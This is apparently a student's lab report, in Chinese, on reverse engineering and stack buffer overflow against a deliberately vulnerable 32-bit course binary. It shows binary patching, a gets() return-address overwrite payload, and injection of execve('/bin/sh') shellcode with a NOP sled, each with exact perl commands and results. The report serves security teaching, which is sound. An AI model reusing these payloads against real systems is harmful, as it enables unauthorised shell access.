网络攻防实验一
20242424 2026-2027-1 《网络与系统攻防技术》实验一实验报告
1. 基础知识
我们从实验的标题开始理解,实验标题为逆向破解与Bof
1.1 什么是逆向破解?什么是Bof?
逆向破解:
我们写完源代码后,编译器会帮我们生成一个可执行文件,这是正向。逆向则是反过来,给我们一个可执行文件,我们使用工具分析它的机器指令后反推出它的逻辑——调用的函数、做了什么判断、数据怎么流动。好比一台组装完成的收音机,我们需要拆开它,了解它的原件,它的组成架构,在了解的基础上再做一些其他的操作。
Bof:
中文翻译叫缓冲区溢出,一个程序会在内存中开辟出一块区域来存放用户输入,这块区域就叫做缓冲区,比如foo函数里面的char buf[28]。正常情况下,输入5个字符,缓冲区就存5个字符。但gets()函数不检查输入长度,一旦输入100个字符,多余的72个字符就会覆盖缓冲区之后的内存区域。
而缓冲区后紧挨着存放的是函数的返回地址,如果我们精心构造一个输入,让溢出的部分正好覆盖这个返回地址,比如我们让返回地址为getshell的地址,那么函数返回时,CPU就会跳到getshell去执行——这就是Bof攻击。
1.2 call foo是什么意思?
call foo 是一条汇编指令,意思是“调用名为 foo 的函数”。
call foo 执行时,CPU 会做两件事:
- 把一条指令的地址(返回地址)压入栈,这样 foo 执行完后能回到 main 继续往下走。
- 跳转到 foo 函数的入口地址开始执行。
1.3 linux的基本操作:管道|,输入输出重定向怎么理解?
管道 | 总结三点
- 管道可以串联任意多个命令。
- 每个命令只负责一个简单处理步骤。
- 数据从左向右流动,命令并发执行,不是等左边完全结束才轮到右边。
示例:
cat test.txt | grep "abc" | sort | uniq -c
这条命令的意思是:读取文件 → 筛选含 abc 的行 → 排序 → 统计重复次数。每个命令只做一件小事,串起来完成复杂任务。
需要注意的是:管道里的命令不是“左边先执行完,再执行右边”,而是同时启动、并发运行的。
在此次实验中,我们会大量用到管道。
输出重定向>和>>
命令 > 文件:把正常输出写入文件,覆盖原内容。
命令 >> 文件:追加到文件末尾。
输入重定向 <
命令 < 文件:把文件内容作为命令的输入。
1.4 汇编指令是什么?
给人看的机器指令
机器指令是一堆数字,人看不懂。所以用汇编给它起了名字:
e8 d7 ff ff ff → call 8048491
左边是机器指令(CPU 看的),右边是汇编指令(人看的)。它们是一一对应的,说的是同一件事。
1.5 EIP是什么意思?
CPU 执行指令是按顺序来的。它需要一个东西记住“我下一条该执行哪个地址的指令”。这个“指针”就是 EIP(在 32 位 x86 上叫 EIP,64 位叫 RIP)。
流程是:
CPU 看 EIP 指向的地址。
从那个地址读出一条指令。
执行这条指令。
EIP 自动指向下一条指令。
重复。
比如 EIP 指向 0x080484a2,CPU 就去执行 0x080484a2 那里的指令。执行完,EIP 变成 0x080484a5(如果指令长 3 字节),继续执行。
EIP 决定了程序的执行路线。谁控制了 EIP,谁就控制了程序往哪走。
1.6 gdb,vi是什么?
gdb(GNU Debugger)是 Linux 下最常用的程序调试器。它让你能:
暂停程序:在指定位置(断点)让程序停下来。
查看程序内部状态:寄存器(如 EIP、EBP、ESP)、内存内容、变量值。
单步执行:一条指令一条指令地走,观察程序怎么运行。
反汇编:把机器码翻译成汇编指令,看程序在做什么。
vi 是 Linux 下经典的文本编辑器,vim 是它的增强版(Vi IMproved)。它们用来创建、查看、修改文本文件。
2. 实验内容
我们来看看实验要求做的三个任务,看看我们究竟在干什么
- 任务一
不改变程序功能,只改一条机器指令,让 main 从“调用 foo”变成“调用 getShell”。运行的是 pwn1 里原有的 getShell 函数。 - 任务二
不修改程序文件,而是构造恶意输入,利用 foo 的 BOF 漏洞覆盖返回地址,让程序返回时跳到 pwn1 里原有的 getShell 函数。 - 任务三
程序里没有我们想要的代码,所以我们自己写一段机器码(Shellcode),把它作为输入注入到栈上,再通过 BOF 覆盖返回地址,让 CPU 跳去执行我们自己注入的这段代码,而不是程序自带的任何函数。
三个任务的区别:任务一直接修改文件,任务二改运行的数据,文件不变。任务一和任务二修改后都是运行pwn1文件里原有的getShell函数。而任务三是自己写机器码作为输入注入,利用BOF覆盖返回地址,让CPU执行我们自己写的代码。
3. 实验过程
3.1 任务一:手工修改可执行文件,改变程序执行流程,直接跳转到 getShell 函数
1.准备实验文件
将实验用的原始可执行文件从 VMware 共享文件夹复制到 Kali 主目录,并按评分要求重命名为包含本人学号的文件名。
操作命令如下:
cd /mnt/hgfs/kali共享文件夹/:进入 VMware 共享文件夹。
ls -l pwn1:确认原始文件 pwn1 存在,权限为可执行。
cp pwn1 ~/pwn20242424:将文件复制到主目录,并重命名为 pwn20242424。
cd ~:回到主目录。
ls -l pwn20242424:确认新文件已存在。
file ~/pwn20242424:查看文件类型,输出显示为 ELF 32-bit LSB executable, Intel i386,说明这是一个 32 位 Linux 可执行文件。
如下图所示,展示了上述文件准备和确认过程,终端提示符中主机名为 HongHaiyang,文件名为 pwn20242424

2.使用 objdump -d pwn20242424 反汇编程序,在 main 函数中找到 call foo 指令,其地址为 0x80484b5,机器码为 e8 d7 ff ff ff,下一条指令地址为 0x80484ba。这是后续需要修改的机器指令。

3.获取 getShell 地址
objdump -d pwn20242424 | grep getShell
输出:0804847d

4.计算新的相对偏移
getShell 地址 0x0804847d 减去下一条指令地址 0x080484ba,得到 -61,其 32 位补码为 0xffffffc3,小端序存储为 c3 ff ff ff。因此需要把 call 的机器码由 e8 d7 ff ff ff 改为 e8 c3 ff ff ff,即只需把中间的 d7 改为 c3。
5.用 vim 十六进制模式修改
执行vim pwn20242424,输入 :%!xxd 进入十六进制模式,搜索 /e8 d7 定位到 0x4b5 处,将 d7 改为 c3,再输入 :%!xxd -r 转回二进制并保存退出。


6.验证修改结果
再次反汇编,确认 main 中的 call 已变为:
80484b5: e8 c3 ff ff ff call 804847d
说明机器指令修改成功。

7.执行 ./pwn20242424,程序直接获得 shell,输入 ls 可看到文件列表,说明已成功跳转到 getShell 并执行。

3.2 任务二:利用 foo 函数的 BOF 漏洞,构造攻击输入字符串,覆盖返回地址,触发 getShell 函数
1.准备原始未修改的程序副本
任务一中 pwn20242424 已被修改为直接调用 getShell,不能再用于 BOF 攻击。因此需要从备份或共享文件夹中重新获取原始文件,并复制为包含学号的新文件 pwn20242424_bof。
cd ~
cp pwn20242424.bak pwn20242424_bof
chmod +x pwn20242424_bof
patchelf --set-execstack pwn20242424_bof
cat /proc/sys/kernel/randomize_va_space # 确认输出为 0
2.使用 gdb 反汇编 foo 函数,确定缓冲区偏移
启动 gdb 调试 pwn20242424_bof,反汇编 foo 函数,找到缓冲区起始地址相对于 ebp 的偏移。
gdb pwn20242424_bof
(gdb) disassemble foo
从图中可以看到关键指令:
0x08048497 <+6>: lea -0x1c(%ebp),%eax
0x0804849d <+12>: call 0x8048330 gets@plt
lea -0x1c(%ebp),%eax 说明缓冲区起始地址为 ebp - 0x1c,即缓冲区距离 ebp 有 0x1c(28)字节。call gets 说明用户输入被写入该缓冲区,且 gets 不检查长度,存在溢出漏洞。

3.获取 getShell 函数地址
在 gdb 中执行 p getShell,得到输出:
$1 = {<text variable, no debug info>} 0x804847d
即 getShell 入口地址为 0x0804847d。
4.断点调试与寄存器查看
在图1下方,执行:
(gdb) b foo
(gdb) r
程序在 0x08048497 处断下。接着执行 info registers ebp,得到此时:
ebp = 0xffffcf18

5.查看栈内存,计算覆盖偏移
执行 x/40xb $ebp-0x1c,从 0xffffcefc 开始查看 40 字节栈内容。这验证了缓冲区的实际起始地址。
由于 ebp = 0xffffcf18,缓冲区起始地址为 0xffffcf18 - 0x1c = 0xffffcefc。返回地址存放在 ebp+4
处,即 0xffffcf1c。因此,从缓冲区起始位置到返回地址的偏移为:
0xffffcf1c - 0xffffcefc = 0x20 = 32 字节
也就是说,需要填充 28 字节的缓冲区 + 4 字节的保存 ebp,共 32 字节才能覆盖到返回地址。

- 构造 payload 并生成攻击输入文件
使用 perl 生成 payload:32 个 A 填充 + getShell 地址。
perl -e 'print "A"x32 . "\x7d\x84\x04\x08"' > input_bof
xxd input_bof # 确认前 32 字节为 41,最后 4 字节为 7d 84 04 08

7.执行 BOF 攻击
通过管道将 payload 送入程序,并保留后续输入通道,以便在获得 shell 后执行命令。
(cat input_bof; cat) | ./pwn20242424_bof
程序先执行 foo 回显乱码,随后 ret 取出被覆盖的返回地址,跳转到 getShell。此时
虽然可能不显示提示符,但 shell 已经启动。直接输入:
ls
如下图所示,能看到文件列表,说明 BOF 攻击成功,已获得 shell

3.3 任务三:注入并运行自定义 Shellcode
1.编写 Shellcode
采用经典的 Linux x86 execve("/bin/sh", 0, 0) Shellcode,共 23 字节:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
功能:将 eax 清零,压入 /bin//sh 字符串,设置 ebx 指向该字符串,ecx、edx 清零,调用 execve 系统调用(eax=11),启动 shell。
2.确定真实缓冲区地址
任务三的难点在于 gdb 调试环境与直接运行环境的栈地址不一致。采用 gdb 附加到直接运行进程的方法获取真实地址:
- 终端1 运行
./pwn20242424_bof,等待输入。

- 终端2 用
ps aux | grep pwn20242424_bof找到 PID=170742,执行gdb -p <170742>附加。

在 gdb 中设断点 b *0x080484a2(gets 返回后),继续 c,回到终端1输入 AAAA 触发断点。


在 gdb 中执行 info registers ebp,得到 ebp = 0xffffcf48。

缓冲区起始地址 = ebp - 0x1c = 0xffffcf2c
返回地址位置 = ebp + 4 = 0xffffcf4c
NOP 滑板起始位置 = ebp + 8 = 0xffffcf50
3.采用 RNS 模式构造 Payload
之前采用 "NOP + Shellcode + 填充 + 返回地址" 的经典结构,多次尝试均失败。原因是 Shellcode 放在缓冲区前面,容易受到 gets 读取换行符、栈地址偏差等因素影响。
改用 RNS 模式(anything + retaddr + nops + shellcode),把 Shellcode 放到返回地址后面的栈上,避开缓冲区开头的敏感区域。
Payload 结构:
[32 字节 anything] + [4 字节 retaddr] + [16 字节 NOP] + [23 字节 Shellcode] + [换行符]
anything:32 个 A,覆盖缓冲区 + 保存的 ebp
retaddr:0xffffcf50(小端序 \x50\xcf\xff\xff),指向 NOP 滑板
NOP:16 字节 \x90,容错
Shellcode:23 字节 execve("/bin/sh")
\n:让 gets 及时返回,后续命令才能被 shell 读取
生成命令:
perl -e 'print "A"x32 . "\x50\xcf\xff\xff" . "\x90"x16 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\n"' > input_rns

4.执行攻击
(cat input_rns; sleep 1; echo "id"; cat) | ./pwn20242424_bof
乱码之后出现:
uid=1000(kali) gid=1000(kali) groups=1000(kali)...
说明Shellcode 执行成功,获得了 shell。
输入ls可以看到文件列表。说明shell已成功启动。

4. 问题及解决方案
-
问题1:任务一修改后的程序不能用于 BOF,必须使用原始副本。
-
问题1解决方案:从备份 pwn20242424.bak 复制出 pwn20242424_bof,并重新设置栈可执行。
-
问题2:直接运行与 gdb 调试时栈地址可能不同。
-
问题2解决方案:任务二只需覆盖返回地址为程序内固定地址 0x0804847d,不依赖栈上 shellcode 地址,因此偏移正确即可成功,不受地址随机化影响。
-
问题3:任务三经典结构多次失败,乱码后无 shell。
-
问题3解决方案:分析发现 Shellcode 放在缓冲区开头容易受换行符和地址偏差影响,改用 RNS 模式,将 Shellcode 放到返回地址后面,配合 16 字节 NOP 滑板。
-
问题4:payload 末尾未加换行符,gets 把后续 id 命令也读入缓冲区。
-
问题4解决方案:在 payload 末尾加 \n,让 gets 及时返回。
-
问题5:成功获得 shell 后输入 ls 无输出。
-
问题5解决方案:之前命令中包含 exit,shell 执行完 id 后已退出。去掉 exit,用 cat 保持 shell 运行。
5. 学习感悟、思考等
- 通过本次实验,我走完了逆向破解与BOF的全过程。在这次实验中我学到了很多,其实借助于现今强大的AI工具帮忙写的指令,这个实验可以很快就做完。但对于各个指令的用法,实验涉及到的知识的底层逻辑的掌握是不容易的,我不敢说自己彻底掌握了这次实验所包含的所有知识点,但对于我认真思考了的部分,认真和AI对话了解了的部分,认真书写过的部分,我有了九分甚至十分的把握。
- 对于栈的知识回顾,或者说有了更深的了解。这场实验下来我直观感受到了之前对于我来说抽象的栈在linux系统里面到底是什么样子的,它以什么样的形式存在,我们可以怎样观察它,运用它。我的脑子里有了一个缓冲区溢出的实例,也就是这次实验的过程,怎样利用栈的漏洞,覆盖返回地址,通过各种方式让程序的执行偏离原有的轨道,来到我们希望这个程序执行的方向。
- 对于linux系统我有了更进一步的理解,我在和AI对话的过程中逐步完善了自己对于管道
|的认知。还了解到了输入输出重定向的作用,经历实验,对它们的作用有了更进一步的理解。 - 我同样发现AI的一些局限,在利用deepseek了解管道的过程中,不过也许我的提示词有问题,它最初给出的对于管道的解释比较片面,比如用
echo和cat结合管道|举了实例echo "hello world" | cat帮助我理解。但二者都有输出到屏幕的意思,因此在读完实例后我其实很懵,并没有看懂管道的实际意义。
我又让它再举几组实例,实例如下:echo "hello" | catecho "hello" | wc -cls | grep pwnAI说连接的是“左边命令的输出”和“右边命令的输入”。左边负责“产生数据”,右边负责“消费数据”。最终屏幕上显示什么,由右边命令决定。
直到这里我终于悟出了点门道,然后顺势提问:这不就相当于把两个简单的操作连接起来吗?但是有先后顺序,左边先执行。我甚至可以用两个管道,三个管道。在问了这个问题之后,AI发现我的理解还是有点偏差,于是进一步纠正我:管道里的命令不是“左边先执行完,再执行右边”,而是同时启动、并发运行的。
为什么这个区别重要?如果是“左边先执行完”,那么处理大文件时内存会爆掉;并发流水线则只需要很小的缓冲区。这也是管道高效的原因。
最后再来个总结:管道可以串联任意多个命令;每个命令只负责一个简单处理步骤;数据从左向右流动,命令并发执行,不是等左边完全结束才轮到右边。至此我终于全面理解了管道|。 - 在做任务三的时候,使用经典结构攻击之后总是出现乱码,期间反复调整payload,尝试清空环境变量后重试也没有攻击成功。使用AI分析了很多轮,最终得出的结论是:直接运行时栈地址与 gdb 调试环境存在偏移,且每次运行可能因环境变量、参数长度等因素产生微小差异,导致返回地址无法精确命中 NOP 滑板。这反映了 shellcode 注入攻击对地址精度的苛刻要求。于是我尝试查找实验指导书有没有解决办法,结果还真有。改用 anything + retaddr + nops + shellcode,构造 RNS payload 并注入。尝试了这个方法,一次就成功了。RNS 模式是更可靠的方案,它的核心优势是:Shellcode 放在返回地址后面,不占用缓冲区前面的空间,同时用较长的 NOP 滑板来吸收地址偏差。这也算是我在这个实验过程中学到的一个很好的方法了。

浙公网安备 33010602011771号